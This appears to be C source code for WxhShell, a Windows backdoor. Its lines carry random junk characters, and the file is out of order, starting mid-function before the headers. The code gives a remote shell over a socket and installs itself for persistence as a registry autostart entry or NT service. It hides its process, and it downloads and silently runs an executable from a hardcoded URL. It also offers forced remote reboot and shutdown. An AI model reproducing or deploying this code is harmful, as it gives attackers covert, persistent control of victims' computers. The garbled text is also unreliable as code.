  // 关机 6*Qpq7Ml  
  case 'd': { .[A S  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); zb$U'D_ -f  
    if(Boot(SHUTDOWN)) |&Wo-;Ud  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); np(<Ap r  
    else { G8'3.;"W5  
    closesocket(wsh); Lo4t:H&  
    ExitThread(0); u6RHn;b  
    } ?sE21m?b-  
    break; `6su_8Hno  
    } &rKhB-18)  
  // 获取shell |7'W)s5.  
  case 's': { !y.7"G*  
    CmdShell(wsh); PN=yf@<V3F  
    closesocket(wsh); 2T5ZbXc+x  
    ExitThread(0); ;<H2N0qJ(  
    break; Hy'&x?F6  
  } n9DFa3  
  // 退出 p10->BBg  
  case 'x': { !hUyX}{`j  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); f0+  
    CloseIt(wsh); 6W Zp&pO  
    break; )1le-SC  
    } 6yqp<D0SP)  
  // 离开 KW\`&ki  
  case 'q': { .rHO7c,P~  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); TuL( /  
    closesocket(wsh); we3t,?`rk7  
    WSACleanup(); Vv]mME@  
    exit(1); PX] v"xf  
    break; fmh]Y/UC  
        } =9-c*bL  
  } NT'Yh  
  } }J1#UH_E  
gC.T5,tn  
  // 提示信息 RWYA`  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); rcCM x"L=  
} = 4L.  
  } IV76#jL  
4[D@[k As  
  return; O#g31?TO  
} 90a= 39kI  
?uQpt(  
// shell模块句柄 p6p_B   
int CmdShell(SOCKET sock) 8}2 `^<U  
{ Zr3KzY9  
STARTUPINFO si; c{[WOrA~#  
ZeroMemory(&si,sizeof(si)); rnUe/HjH  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; I~,*Rgv/Z  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; GI/o!0"_  
PROCESS_INFORMATION ProcessInfo; /OEj]DNY  
char cmdline[]="cmd"; 5n<Efi]j  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 8l6R.l  
  return 0; kN )P-![  
} L fhd02  
t5S S]  
// 自身启动模式 UWz<~Vy  
int StartFromService(void) #H|]F86(  
{ sNWj+T  
typedef struct GKX#-zsh79  
{ d4/ZOj+%  
  DWORD ExitStatus; 3LG)s:p$/  
  DWORD PebBaseAddress; wNn6".S   
  DWORD AffinityMask; : 7'anj  
  DWORD BasePriority; 72aj4k]^  
  ULONG UniqueProcessId; tq{ aa  
  ULONG InheritedFromUniqueProcessId; Gmc0yRN  
}   PROCESS_BASIC_INFORMATION; 8D-g%Aj-  
D9h\=[%e  
PROCNTQSIP NtQueryInformationProcess; (sY?"(~j?T  
Hc71 .rqS  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 9i n&\  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; o`G@Je_}x  
I<DS07K  
  HANDLE             hProcess; ^j@,N&W:lG  
  PROCESS_BASIC_INFORMATION pbi; Xr-eDUEi  
s {!F@^a  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); DEIn:d  
  if(NULL == hInst ) return 0; VgOj#Z?K  
QM OOJA  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); vtmvvv  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {{j?3O//  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); tJc9R2  
^8DC W`V  
  if (!NtQueryInformationProcess) return 0; _rOKif?5  
]w({5i  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); &q>=6sQvf  
  if(!hProcess) return 0; -3A#a_fu  
]*?qaIdqu  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; /_v@YB!0  
lCDXFy(E  
  CloseHandle(hProcess); +v/_R{ M  
Ygr1 S(=  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); zgV{S Qo  
if(hProcess==NULL) return 0; ?Yxk1Y4ig)  
G}d@^9FkE  
HMODULE hMod; ZdfIe~Oni  
char procName[255]; <^{|5u  
unsigned long cbNeeded; Z8Qmj5'[  
iXeywO2nP  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ?Jio9Zr  
b+,u_$@B  
  CloseHandle(hProcess); ki48]#p  
D3N\$D  
if(strstr(procName,"services")) return 1; // 以服务启动 |}t[- a  
j'g':U  
  return 0; // 注册表启动 Vv#|% ^0  
} B[}#m'Lv  
adRvAq]mA  
// 主模块 \hoYQK j  
int StartWxhshell(LPSTR lpCmdLine) G$ ( B26  
{ r&U5w^p  
  SOCKET wsl; q3<Pb,Z  
BOOL val=TRUE; Yjx*hv&?  
  int port=0; <KlG#7M>  
  struct sockaddr_in door; Lj`MFZ  
fO|oV0Rw  
  if(wscfg.ws_autoins) Install(); &z8I@^<  
p'tB4V qT  
port=atoi(lpCmdLine); 3=SIIMp7=  
Hx5t![g2K!  
if(port<=0) port=wscfg.ws_port; D-J G0.@  
(pJ-_w' G  
  WSADATA data; QpbyC_:;$4  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?VaWOwWI  
XpFW(v  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   /Sy:/BQ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); gJz~~g'  
  door.sin_family = AF_INET; 8&+m5x S  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ]n _OQ)VO  
  door.sin_port = htons(port); Kw_> X&GcJ  
0Rgo#`7l  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { V 3?x_pp  
closesocket(wsl); K)=<hL  
return 1; jg%HaA<zO  
} >,;, 6|S  
;c};N(2  
  if(listen(wsl,2) == INVALID_SOCKET) { AM?62  
closesocket(wsl);  #4?Z|_j3  
return 1; Cp{ j+Ia  
} vG;)(.:  
  Wxhshell(wsl); ` 9iB`<  
  WSACleanup(); 9OI&De5?=V  
, z8<[Q-#  
return 0; NWx.l8G  
/>FgDIO  
} KPW2e2{4@  
$w%n\t>B  
// 以NT服务方式启动 5^:N]Mp"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) p{c+ +P5  
{ ?7n(6kmj4Q  
DWORD   status = 0; (4ueO~jb $  
  DWORD   specificError = 0xfffffff; `*Ar6  
'a1%`rzm  
  serviceStatus.dwServiceType     = SERVICE_WIN32; "lU%Pm]>  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; n\CQ-*;l  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; L&*/ s&>b  
  serviceStatus.dwWin32ExitCode     = 0; B{`4"uEb$G  
  serviceStatus.dwServiceSpecificExitCode = 0; Qqju6}+  
  serviceStatus.dwCheckPoint       = 0; ~_|OGp_a  
  serviceStatus.dwWaitHint       = 0; O:K={#Xj  
k#*tf:R  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); cU`sA_f  
  if (hServiceStatusHandle==0) return; X0IXj%\N  
tp4/c'w;)J  
status = GetLastError(); TttD}`\.  
  if (status!=NO_ERROR) )+!~xL  
{ lL6 bIjf  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; f[}N  
    serviceStatus.dwCheckPoint       = 0; DH@})TN*O  
    serviceStatus.dwWaitHint       = 0; aVI%FycYo  
    serviceStatus.dwWin32ExitCode     = status; {i}z|'!  
    serviceStatus.dwServiceSpecificExitCode = specificError; =Tdh]0  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?z "fp$  
    return; -5v2E-  
  } N9lCbtn(0x  
HkH!B.H]  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ~Z ,bd$  
  serviceStatus.dwCheckPoint       = 0; #+X|,0p  
  serviceStatus.dwWaitHint       = 0; ]yzqBbV  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); &PfCY{_  
} BPFd'- O)  
g\Gx oR  
// 处理NT服务事件,比如:启动、停止 A(!nT=0o  
VOID WINAPI NTServiceHandler(DWORD fdwControl) {u/G!{N$  
{ 1Tn0$+$.4  
switch(fdwControl) M!KHBr  
{ ?52{s"N0>  
case SERVICE_CONTROL_STOP: ?2#!63[Kg  
  serviceStatus.dwWin32ExitCode = 0; +@:$7m(V  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; n9qO;X4&  
  serviceStatus.dwCheckPoint   = 0; %D::$,;<<  
  serviceStatus.dwWaitHint     = 0; %]~XbO  
  { bo;;\>k  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); T2;%@Ghc  
  } XET'XJWF%  
  return; a{?`yO/ 2  
case SERVICE_CONTROL_PAUSE: f^ q0#+k)  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 35 Y#eU2]  
  break; }Pu|%\  
case SERVICE_CONTROL_CONTINUE: a!`b`r -4  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; QQQ3U  
  break; bu;3Ib3\  
case SERVICE_CONTROL_INTERROGATE: $~#N1   
  break; 5 IK -V)  
}; aD2+9?m  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); M"q]jeaM  
} 4v@urW s  
qb rf;`  
// 标准应用程序主函数 6SYQRK  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) mLa0BIP  
{ --ED]S 8  
8 *Fr=+KN  
// 获取操作系统版本 5if4eitS  
OsIsNt=GetOsVer(); {nyQ]Nu"  
GetModuleFileName(NULL,ExeFile,MAX_PATH); SUSam/xeg"  
'f+g`t?  
  // 从命令行安装 1P"akc  
  if(strpbrk(lpCmdLine,"iI")) Install(); IaxzkX_48  
"8p fLI  
  // 下载执行文件 c1v,5c6d j  
if(wscfg.ws_downexe) { b!>w4MPe  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) aFI?^"L  
  WinExec(wscfg.ws_filenam,SW_HIDE); $6~ \xe=  
} |2yTt*!-r  
"82<}D^;  
if(!OsIsNt) { O2W EA  
// 如果时win9x,隐藏进程并且设置为注册表启动 j Hd <*  
HideProc(); i(eLE"G+  
StartWxhshell(lpCmdLine); 0(owFNUBs  
} N9W\>hKaeh  
else -:O~J#D  
  if(StartFromService()) S-FoyID\H  
  // 以服务方式启动 'O#,;n  
  StartServiceCtrlDispatcher(DispatchTable); u>~G)lx%  
else Jm%hb ,  
  // 普通方式启动 rUunf'w`e1  
  StartWxhshell(lpCmdLine); l)PEg PSRV  
uUAib<wdPL  
return 0; {.W$<y (j7  
} 6B4s6  
L{>XT  
5 =Os sAr  
R5QSf+/T4  
=========================================== O/gBBTB  
}2sc|K^  
>$gWeFu  
t7VXW{3  
Z`fm;7NiVG  
E' p5  
" URW#nm?  
AT^?PD_  
#include <stdio.h> ]xf lfZ  
#include <string.h> s'LY)_n  
#include <windows.h> =1o_:VOG  
#include <winsock2.h> >w:px$g4  
#include <winsvc.h> Sd]`I)  
#include <urlmon.h> JGaS`fKSk  
f-5vE9G3y7  
#pragma comment (lib, "Ws2_32.lib") (r cH\   
#pragma comment (lib, "urlmon.lib") W,zlR5+Jk  
B\2<r5|QG  
#define MAX_USER   100 // 最大客户端连接数 XVi?- /2  
#define BUF_SOCK   200 // sock buffer @DT${,.49  
#define KEY_BUFF   255 // 输入 buffer  A_: Bz:  
clz6; P  
#define REBOOT     0   // 重启 \NbMSC&H  
#define SHUTDOWN   1   // 关机 ^s25z=^t  
umXa   
#define DEF_PORT   5000 // 监听端口 3n']\V  
[wAI;=.  
#define REG_LEN     16   // 注册表键长度 Bb];qYuCO  
#define SVC_LEN     80   // NT服务名长度 sygAEL;.  
pg69mKZ$  
// 从dll定义API 4{rwNBj(  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ,R=Mr}@u  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ^8dJJ*  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); =iy%;>I `  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); C7&4,],  
ysA~Nq@  
// wxhshell配置信息 ' jFSv|g+0  
struct WSCFG { QK -_~9V  
  int ws_port;         // 监听端口 +*[lp@zU{  
  char ws_passstr[REG_LEN]; // 口令 "Ko ^m(`  
  int ws_autoins;       // 安装标记, 1=yes 0=no ml 7]s N(  
  char ws_regname[REG_LEN]; // 注册表键名 j+Nun  
  char ws_svcname[REG_LEN]; // 服务名 w">XI)*z  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 DPn]de:e  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 xg)cA C\=  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Q9)/INh  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 9J_lxy}  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" [ aj F  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 w> `3{MTQ  
\{L!hAw  
}; %^xY7!{  
j,QeL  
// default Wxhshell configuration W0eb9g`s  
struct WSCFG wscfg={DEF_PORT, g7@G&Ro9J\  
    "xuhuanlingzhe", fkWuSGi  
    1, 7{j9vl6  
    "Wxhshell", TI:-Y@8  
    "Wxhshell", MIasCH>r  
            "WxhShell Service", 8D[P*?O  
    "Wrsky Windows CmdShell Service", r6&f I"Yg  
    "Please Input Your Password: ", /g2(<  
  1, OOS(YP@b  
  "http://www.wrsky.com/wxhshell.exe", QkUq%}_0  
  "Wxhshell.exe" Z8tQ#Pu{  
    }; Fy8KZWim  
a5C%OI<  
// 消息定义模块 ?B@(W(I  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; x3O$eKy\|5  
char *msg_ws_prompt="\n\r? for help\n\r#>"; P31}O2 Nh  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; =Y>_b 2  
char *msg_ws_ext="\n\rExit."; @ae;&  
char *msg_ws_end="\n\rQuit."; .ICGGC`O  
char *msg_ws_boot="\n\rReboot..."; ,TaaXI  
char *msg_ws_poff="\n\rShutdown..."; wQJY,|.  
char *msg_ws_down="\n\rSave to "; jSp4eq  
ENm\1  
char *msg_ws_err="\n\rErr!"; B ?96d'A  
char *msg_ws_ok="\n\rOK!"; k !Nl#.j  
wMNtN3   
char ExeFile[MAX_PATH]; wmdvAMN  
int nUser = 0; 5hak'#2  
HANDLE handles[MAX_USER]; $]EG|]"Ns  
int OsIsNt; E#X1P #$pW  
UbKdB  
SERVICE_STATUS       serviceStatus; V6Ie\+@.\  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; z8FeL5.(  
_svY.p s*  
// 函数声明 CS2AKa@`  
int Install(void); F`goYwA%  
int Uninstall(void); 0@z=0}0Z  
int DownloadFile(char *sURL, SOCKET wsh); UO$z_ p]w  
int Boot(int flag); S@;>lw,s!  
void HideProc(void); EeC5HgIU'C  
int GetOsVer(void); zk= 3L} C  
int Wxhshell(SOCKET wsl); \Tq Km  
void TalkWithClient(void *cs); )]~'zOE_  
int CmdShell(SOCKET sock); FC+K2Yf1=0  
int StartFromService(void); j*aN_UTr3  
int StartWxhshell(LPSTR lpCmdLine); }8J77[>/  
1"ko wp  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 'eg?W_zu  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); v[WbQ5AND  
;hU56lfZ)X  
// 数据结构和表定义 1~NXCIdF  
SERVICE_TABLE_ENTRY DispatchTable[] = Vvu+gP'z.  
{ ]etLobV  
{wscfg.ws_svcname, NTServiceMain}, ; =.VKW%U  
{NULL, NULL} ?zp@HS a9  
}; nsk`nck  
1"{3v@yi  
// 自我安装 +Z[(s!  
int Install(void) _=@9XvNM  
{ ~t\Hb8o  
  char svExeFile[MAX_PATH]; w A<JJ_R  
  HKEY key; Iu`eQG  
  strcpy(svExeFile,ExeFile); S?*pCJ0  
1HK5OT&  
// 如果是win9x系统,修改注册表设为自启动 wjYwQ=y5  
if(!OsIsNt) { j.OPDe{LU  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { GPnd7}Tn  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); E`%Ewt$Z  
  RegCloseKey(key); xb$eFiQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { J/Ki]T9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /Y|oDfv  
  RegCloseKey(key); Hp;Dp!PLa  
  return 0; ?h4-D:!$L  
    } $>zLa_cn|  
  } PW)XDo7  
} DPR=Xls  
else { Z=`\U?,  
NltEX14Af  
// 如果是NT以上系统,安装为系统服务 ~L j[xP  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); =\H.C@r  
if (schSCManager!=0) <EKDP>,~  
{ aV`4M VWOz  
  SC_HANDLE schService = CreateService A|p O  
  ( DP`$gd  
  schSCManager, X& EcQ  
  wscfg.ws_svcname, Zn&S7a>7  
  wscfg.ws_svcdisp, ;7CE{/Bq.p  
  SERVICE_ALL_ACCESS, >(+g:p  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , fnV^&`BB  
  SERVICE_AUTO_START, t. B %7e  
  SERVICE_ERROR_NORMAL, $8#zPJR&  
  svExeFile, F/;uN5{o  
  NULL, bQc-ryC+.  
  NULL, %|md0  
  NULL, )+T\LU  
  NULL, aV3:wp]Gn  
  NULL j]i:~9xKW  
  ); b#cXn4<3D  
  if (schService!=0) +:@HJXwK  
  { q]+'{Ci@  
  CloseServiceHandle(schService); ;~Y0H9`  
  CloseServiceHandle(schSCManager); tM3eB= .*  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ],{b&\  
  strcat(svExeFile,wscfg.ws_svcname); Cw"Y=`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ]H8,}  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Z>1\|j  
  RegCloseKey(key); 6rlafISvO  
  return 0; 9 A0wiKp  
    } m":lKXpQ  
  } M]PH1 2Ob  
  CloseServiceHandle(schSCManager); `!{m#BBT}  
} D9 `J||]E  
} %7WQb]y  
E _d^&{j  
return 1; Ul#||B .c{  
} z/zUb``  
`BA wef  
// 自我卸载 >R "]{y  
int Uninstall(void) T0Lh"_X3  
{ =8BMCedH|  
  HKEY key; LlAMtw"  
KDD_WXGt~  
if(!OsIsNt) { hkOhY3K5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { b?Dhhf  
  RegDeleteValue(key,wscfg.ws_regname); T;/Y/Fd  
  RegCloseKey(key); #4uuT?!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3 D<s #  
  RegDeleteValue(key,wscfg.ws_regname); LliOhr4  
  RegCloseKey(key); 'r_{T=  
  return 0; NYopt?Xg  
  } -olD!zKS  
} yu8xTh$:  
} -yKx"Q9F  
else { _?]E)i'RI  
E#'JYz@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2xy &mNx  
if (schSCManager!=0) nff X  
{ Jv*[@ -.k  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ^&gu{kP  
  if (schService!=0) uLok0"}  
  { (.6~t<DRv  
  if(DeleteService(schService)!=0) { WDznhMo  
  CloseServiceHandle(schService); J,@SSmJ`  
  CloseServiceHandle(schSCManager); bvVEV  
  return 0; vFuf{ @P  
  } p(B> N!:  
  CloseServiceHandle(schService); F$[1KjS  
  } a%R'x]  
  CloseServiceHandle(schSCManager); 3{wr*L1%-~  
} FdrH,  
} >(N0''eM]  
g5THkxp  
return 1; uCX+Lw+As  
} .Pz( 0Y  
rof&O   
// 从指定url下载文件 VXr'Z  
int DownloadFile(char *sURL, SOCKET wsh) CUz1 q*):  
{ }6Y D5?4  
  HRESULT hr; <zmtVE*>g  
char seps[]= "/"; (;1rM}B;1  
char *token; +C`h*%BW  
char *file; j+B+>r ^  
char myURL[MAX_PATH]; mc{gcZIm  
char myFILE[MAX_PATH]; y^utMH  
Z' cQ< f  
strcpy(myURL,sURL); H)#HK!F6f  
  token=strtok(myURL,seps); cM9z b6m  
  while(token!=NULL) 2?=R_&0 Q  
  { 3I|&}+Z6  
    file=token; #9HQW:On  
  token=strtok(NULL,seps); ^Rgm3?7  
  } GtYtB2U  
{z":hmt  
GetCurrentDirectory(MAX_PATH,myFILE); _,S L;*G4|  
strcat(myFILE, "\\"); kzZdYiC  
strcat(myFILE, file); qx#k()E.U  
  send(wsh,myFILE,strlen(myFILE),0); r&^LSTU0!  
send(wsh,"...",3,0); al{;]>W  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); >0#WkmRY  
  if(hr==S_OK) 41\r7 BS  
return 0; >G4EiJS  
else HiTn5XNf  
return 1; PQ}q5?N  
#w2;n@7;X  
} &`` dI,NC  
XaFu(Xu7  
// 系统电源模块 S4n ~wo  
int Boot(int flag) {Ac5(li_  
{ f7y a0%N  
  HANDLE hToken; i5oV,fiZo  
  TOKEN_PRIVILEGES tkp; &C_0JyT  
tS$^k)ZXip  
  if(OsIsNt) { T#L/HD  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); "O`{QVg:  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); RTHe#`t  
    tkp.PrivilegeCount = 1; xwSi}.  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; (%\vp**F  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 2(_+PQ6C=  
if(flag==REBOOT) { + ?z=,')  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) F*&A=@/3  
  return 0; HM'P<<  
} /h)_Q;35S;  
else { `# N j8  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) u`%Kh_  
  return 0; Dgb@`oo  
} m@|0iDS  
  } b4l=Bg"  
  else { vDG AC'  
if(flag==REBOOT) { X\?PnD`,  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ?Cg",k'  
  return 0; IK:F~I  
} =F!_ivV  
else { Dd1\$RBo  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) z#$>f*b  
  return 0; Ro&s\T+d  
} -vRZCIj!  
} 1qEpQ.:](  
RmR-uQU-c  
return 1; ; O6Ez-"  
} JG]67v{F  
>";I3S-t  
// win9x进程隐藏模块 WFl, u!"A  
void HideProc(void) XI4le=^EM  
{ D)XV{Wit  
-r.Qy(}p  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); )<fa1Gz#^  
  if ( hKernel != NULL ) 0E6>P E;  
  { vG`;2laY  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); {8!\aYI  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); {P/5cw  
    FreeLibrary(hKernel); q%G"P*g$(  
  } O{4G'CgN(  
q_5hKipd\b  
return; T^"-;  
} -E*VF{IG1  
{LwV&u(  
// 获取操作系统版本 KdBE[A-1^M  
int GetOsVer(void) rA=iBb3`  
{ )D_\~n/5  
  OSVERSIONINFO winfo; s{"}!y=]  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); SFj:|S=v6j  
  GetVersionEx(&winfo); }^ g6Y3\  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 8ZnHp~  
  return 1; OoG Nij  
  else "@P)  
  return 0; /h.hFM/  
} !CnkG<5z>  
'@jP$6T&  
// 客户端句柄模块 " R=,W{=  
int Wxhshell(SOCKET wsl) v;%>F)I  
{ _LYI#D  
  SOCKET wsh; 5{`a\;*  
  struct sockaddr_in client; 5a0&LNm  
  DWORD myID; I%8>nMTJ  
z2/E?$(  
  while(nUser<MAX_USER) aMLtZ7i>  
{ lRy^Wp  
  int nSize=sizeof(client); 1@$n )r`  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ` oPUf!  
  if(wsh==INVALID_SOCKET) return 1; EG7.FjnVu  
4s <|8   
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); SU8vz/\%y  
if(handles[nUser]==0) eu^B  
  closesocket(wsh); vrGx<0$  
else h#e((j3-2Z  
  nUser++; `~+1i5-}  
  } /:BM]K  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 4:50dj  
ML)5nJD  
  return 0; *# 7 1aZ  
} v}>5!*  
?gGmJl  
// 关闭 socket ws_/F  
void CloseIt(SOCKET wsh) d[t+iBP;)  
{ 01br l^5K  
closesocket(wsh); ?h1r6?Sug{  
nUser--; (Y[q2b  
ExitThread(0); T\"eqa  
} 7)FI_uW  
}Q<c E$c  
// 客户端请求句柄 Y6R+i0guz  
void TalkWithClient(void *cs) 8s@k0T<O  
{ b-Uy&+:X*d  
'|jN!y^ 2p  
  SOCKET wsh=(SOCKET)cs; /W @k:  
  char pwd[SVC_LEN]; 0CtPq`!  
  char cmd[KEY_BUFF]; V']{n7a-  
char chr[1]; :jP4GCxU|  
int i,j; 9Z_!}eY2mc  
~d)2>A 2:  
  while (nUser < MAX_USER) { s6F^z\6  
]y52%RAKI  
if(wscfg.ws_passstr) { l` M7a9*U  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^j)0&}fB  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); { d*?O  
  //ZeroMemory(pwd,KEY_BUFF); qe@ctHpn  
      i=0; !#' y#  
  while(i<SVC_LEN) { ~ V:@4P  
k >aWI  
  // 设置超时 u,f$cR  
  fd_set FdRead; 0.4Q-?J  
  struct timeval TimeOut; YH .+(tNv  
  FD_ZERO(&FdRead); x]X!nx6G  
  FD_SET(wsh,&FdRead); 9yA? 82)E  
  TimeOut.tv_sec=8; So^;5tG  
  TimeOut.tv_usec=0; {rE]y C^  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ybNy"2Wk  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /#]4lFk:h  
2uajK ..b  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6Pzz= ai<  
  pwd=chr[0]; bFt$u]Yvo  
  if(chr[0]==0xd || chr[0]==0xa) { Jd0I!L  
  pwd=0; { :~&#D  
  break; }0(.HMiGj  
  } N%K%0o-  
  i++; 2TxHY|4  
    } {WYHT6Z  
Ki_8g  
  // 如果是非法用户,关闭 socket Ce%fz~*b  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); < `/22S"  
} }1)tALA  
Vr1yj  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); /GQN34RD  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b+rn:R  
S7fX1y[  
while(1) { 'U8% !  
~$ FgiW  
  ZeroMemory(cmd,KEY_BUFF); ;xKPa6`E  
S~+er{,ht4  
      // 自动支持客户端 telnet标准   `ywI+^b  
  j=0; ;I5u"MDHGI  
  while(j<KEY_BUFF) { "-U`E)]w*[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2U Q&n`A  
  cmd[j]=chr[0]; 1q Jz;\wU  
  if(chr[0]==0xa || chr[0]==0xd) { Dno'-{-  
  cmd[j]=0; [G=+f6 a  
  break; dQkp &.  
  } lz-t+LD@ST  
  j++; -{tB&V~+v  
    } HLYTt)f}  
|8:IH@K*  
  // 下载文件 gq+|Hr  
  if(strstr(cmd,"http://")) { ;vDjd2@  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Y>l92=G  
  if(DownloadFile(cmd,wsh)) ^G~C#t^  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); {@7{!I|eD  
  else jZ5 mpYUO  
